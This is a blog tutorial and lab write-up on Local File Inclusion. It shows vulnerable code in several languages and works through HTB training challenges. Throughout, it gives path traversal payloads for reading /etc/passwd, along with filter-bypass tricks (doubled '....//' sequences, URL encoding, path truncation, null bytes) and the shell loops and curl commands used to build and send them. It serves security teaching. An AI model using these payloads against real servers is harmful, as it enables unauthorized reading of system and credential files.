Introduction to File Inclusion
Hey folks! Good to see you.
Modern website tech-stacks often use HTTP parameters to
- enable dynamic web page builds
- reduce script sizes (on the client side)
- reduce server load
- simplify code
Often times, these parameters are not secured properly.
What if we could manipulate them to display the content of any local file on the hosting server?
This is what we refer to as Local File Inclusion. They can lead to source code disclosure, sensitive data exposure, and even remote code execution.
You load a page... you tweak the URL... and suddenly, you're staring at /etc/passwd. Welcome to the world of LFI.
LFI's most common victims: templating engines
Ever seen a website's URL end in /index.php?page=about? Most often in such cases, templating engines like Twig or Jinja2 are used.
index.phponly holds static content (header, nav-bar, footer, etc.), the rest is pulled via the parameter - in this case maybe read from aabout.php. Might we be able to grab a different file than about?
NEVER combine a user-controlled parameter and PHP's include
So often to this day, we see code like this:
if (isset($_GET['name'])) {
include($_GET['name']);
}
or maybe for language selection, user settings change, etc.
ALWAYS check: does the code explicitly and comprehensively filter and sanitize the user input?
If not --> File Inclusion babyy!
Other sinners in PHP
include_once()
require()
require_once()
file_get_contents()
and others can all have the same effect!
Red flags in other languages and environments
Spotting LFI in Node.js
Example 1: File Read via Query Parameter
if (req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
}
What’s happening here?
- The app checks if a query parameter called
languageexists. - If it does, it uses
fs.readFile()to read the file named in that parameter. - It joins the input directly with
__dirname(current directory). - It then writes the content of the file to the HTTP response.
So, what if we did:
http://example.com/?language=../../../../etc/passwd
…the server will try to read that file relative to the app’s directory. This is a classic LFI vulnerability.
Example 2: LFI via Express render()
app.get("/about/:language", function(req, res) {
res.render(`/${req.params.language}/about.html`);
});
What’s happening here?
- The route handles URLs like
/about/en,/about/de, etc. - It takes the language part from the URL path and uses it to build a file path.
- Then it uses
res.render()to render that HTML page from the directory.
If there's no validation, we can again request:
/about/../../../../../etc/passwd
which might trick the server all the same.
Spotting LFI in Java
The same problem can be spotted in a Java web server - let's look at Java Server Pages (JSP)
Example 1: Include with <jsp:include>
<c:if test="${not empty param.language}">
<jsp:include file="<%= request.getParameter('language') %>" />
</c:if>
What’s happening here?
request.getParameter('language')takes input from the URL.- That value is directly passed into the
includefunction.
So same attack path:
/page.jsp?language=../../WEB-INF/web.xml
could include sensitive server files.
Example 2: Import with <c:import>
<c:import url="<%= request.getParameter('language') %>"/>
This again includes a file or external URL - it could be abused with e.g. ?language=../../somefile.
Spotting LFI in .NET
For .NET web applications, the Response.WriteFile function is very similar to all earlier examples:
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
<% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %>
}
What’s happening here?
- Takes a file path for input via
HttpContext.Request.Query[] - Writes its content to the
ResponsewithResponse.WriteFile
Again, the path is retrieved via a GET parameter for dynamic content loading. Another dangerous one is:
@Html.Partial(HttpContext.Request.Query['language'])
Html.Partial() can also be used ot render the specified file as part of the frontend template.
And then again, another classic:
<!--#include file="<% HttpContext.Request.Query['language'] %>"-->
What can we do with what we learned?
Some of the above only read content, others also execute specific files. Some even allow specifying remote URLs.
| Function | Read Content | Execute | Remote URL |
|---|---|---|---|
| PHP | |||
| include()/include_once() | ✅ | ✅ | ✅ |
| require()/require_once() | ✅ | ✅ | ❌ |
| file_get_contents() | ✅ | ❌ | ✅ |
| fopen()/file() | ✅ | ❌ | ❌ |
| NodeJS | |||
| fs.readFile() | ✅ | ❌ | ❌ |
| fs.sendFile() | ✅ | ❌ | ❌ |
| res.render() | ✅ | ✅ | ❌ |
| Java | |||
| include | ✅ | ❌ | ❌ |
| import | ✅ | ✅ | ✅ |
| .NET | |||
| @Html.Partial() | ✅ | ❌ | ❌ |
| @Html.RemotePartial() | ✅ | ❌ | ✅ |
| Response.WriteFile() | ✅ | ❌ | ❌ |
| include | ✅ | ✅ | ✅ |
This table is from HTB Academy - a great learning platform, if you use it on the side and keep up practicing!
Basic LFI in practice

On this HTB-training-site, we can swap the language parameter between english and spanish:
http://94.237.58.73:57686/index.php?language=es.php
#and
http://94.237.58.73:57686/index.php?language=en.php

Oh look, who's Barry?
The same way they let us retrieve a small flag.
What I Wish They Let Me Try
Second-Order Local File Inclusion occurs when the vulnerable path is not taken directly from user input, but rather from a value previously stored (e.g., in a database).
This is still common, developers often trust values that come from their database unchecked.
So it would've been fun having a register site and registring with username = '../../../etc/passwd' and then utilizing some function like:
include("/profile/$username/avatar.png");
the app would end up including:
/profile/../../../etc/passwd/avatar.png → resolved to /etc/passwd
Basic Bypasses
Being a bit creative
$language = str_replace('../', '', $_GET['language']);
Oh no, our EVIL MASTERPLAN has been ruined! ../ is rendered out of the query.
http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/passwd
#becomes
http://<SERVER_IP>:<PORT>/index.php?language=./languages/etc/passwd

Luckily for us, that filter isn’t recursive, so sneaky inputs like ....// still decode to ../ - Path traversal lives!
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd
still does the job.. just as ..././ or ....\/ and several other recursive LFI payloads.
In some cases escaping the forward slash character may also work to avoid path traversal filters - like....\/or adding extra forward slashes (e.g.....////)
URL Encoding might also help
A URL Encoder (On your attacker box just use the Burp Decoder) could also assist you encoding your payload - this would help you against the site filtering . or / out of your payload.

Sometimes, also double encoding might help to bypass other types of filters.. let's see in which future post we encounter that again.
Regex Filter Bypass
Some web applications use Regular Expressions (Regex) to restrict which file paths can be included, usually limiting them to a specific directory.
if (preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}
This Regex expression only allows paths that start with ./languages/ - for example: ./languages/en.php or ./languages/es.php
To bypass this regex, attackers can start with the approved path, then use path traversal (../) to escape it:
Bypassing Appended Extensions
Some web apps automatically append a file extension (e.g., .php) to user input when including files:
include($_GET['language'] . '.php');
This restricts LFI payloads to files ending in .php.
Possible Bypass 1: Path Truncation (Legacy PHP <5.3/5.4)
PHP had a string length limit (≈4096 characters), if the final file path exceeded that limit, the .php extension could get cut off.
Payload idea:
?language=non_existing_dir/../../../etc/passwd/./././././././././. [~2048 times]
Automated:
echo -n "non_existing_dir/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
The long path gets truncated before.phpis appended. PHP then resolves the path to/etc/passwd.
Only works on old PHP versions and when include() is used.
Possible Bypass 2: Null Byte Injection (%00) (PHP <5.5)
PHP (like C) used to treat %00 (null byte) as the end of a string - anything after %00 was ignored. This tricked the engine into dropping .php, even if appended.
?language=/etc/passwd%00
The app sees /etc/passwd%00.php - but PHP only reads /etc/passwd.
HTB Filter Bypass Puzzle

This challenge combines multiple bypasses - let's see what we can do about that.
http://94.237.123.14:40988/index.php?language=languages%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
gave us nothing, but with ./language/... it was "Illegal path specified."
Then lets encode:
languages/....//....//....//....//....//etc\/passwd
to
languages%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2F....%2F%2Fetc%5C%2Fpasswd
Doesn't work, but the regular functionality definitely wants us to stay in languages/.
What we also know:
The app checks for regex (so we stay in our path):
preg_match('/^\.\/languages\/.+$/', ...)
The app seems to filter ../ likely with something like:
str_replace('../', '', $_GET['language']);
It may also append .php behind the scenes..
The app may block raw . or /, but might miss encoded characters like:
%2e = .%2f = /
That way we could build a long traversal string with encoded segments like:
languages%2f..%2f..%2f..%2f..%2fetc%2fpasswd%2f%2e%2f%2e%2f%2e%2f... [repeat]
Then use a loop to automate:
echo -n "languages/....//....//....//....//etc/passwd" > payload.txt && for i in {1..1500}; do echo -n "%2e%2f" >> payload.txt; done && echo "" >> payload.txt
Then paste that full URL as our payload:
PAYLOAD=$(cat payload.txt)
curl "http://<TARGET_IP>:<PORT>/index.php?language=$PAYLOAD"
curl "http://94.237.123.14:40988/index.php?language=$PAYLOAD"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>414 Request-URI Too Long</title>
</head><body>
<h1>Request-URI Too Long</h1>
<p>The requested URL's length exceeds the capacity
limit for this server.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 192.168.59.203 Port 80</address>
</body></html>
a bit too long, let's go with:
echo -n "languages/....//....//....//....//etc/passwd" > payload.txt && for i in {1..1350}; do echo -n "%2e%2f" >> payload.txt; done && echo "" >> payload.txt
yet the answer is still completely normal..
let's try something different..
- Replace
../with....//// - URL-encode everything, including slashes
- Keep payload within ~8000 character limit
- Target PHP truncation (~4096 bytes of path)
- Use languages/ prefix to bypass regex
echo -n "languages/....////....////....////....////etc/passwd" > payload.txt && for i in {1..1350}; do echo -n "./" >> payload.txt; done && echo "" >> payload.txt
Now, we URL-encode:
cat payload.txt | jq -sRr @uri
Seems too much - does not work.
http://<TARGET_IP>:<TARGET_PORT>/index.php?language=languages%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2Fetc%2Fpasswd
WORKS!
So let's do:
http://<TARGET_IP>:<TARGET_PORT>/index.php?language=languages%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2F....%2F%2F%2F%2Fflag.txt
BAM! Worked!
Tried a similar bypass that worked differently? DM me anywhere (my platforms are all linked here). The Forge always welcomes new fire.
No spam, no sharing to third party. Only you and me.
Member discussion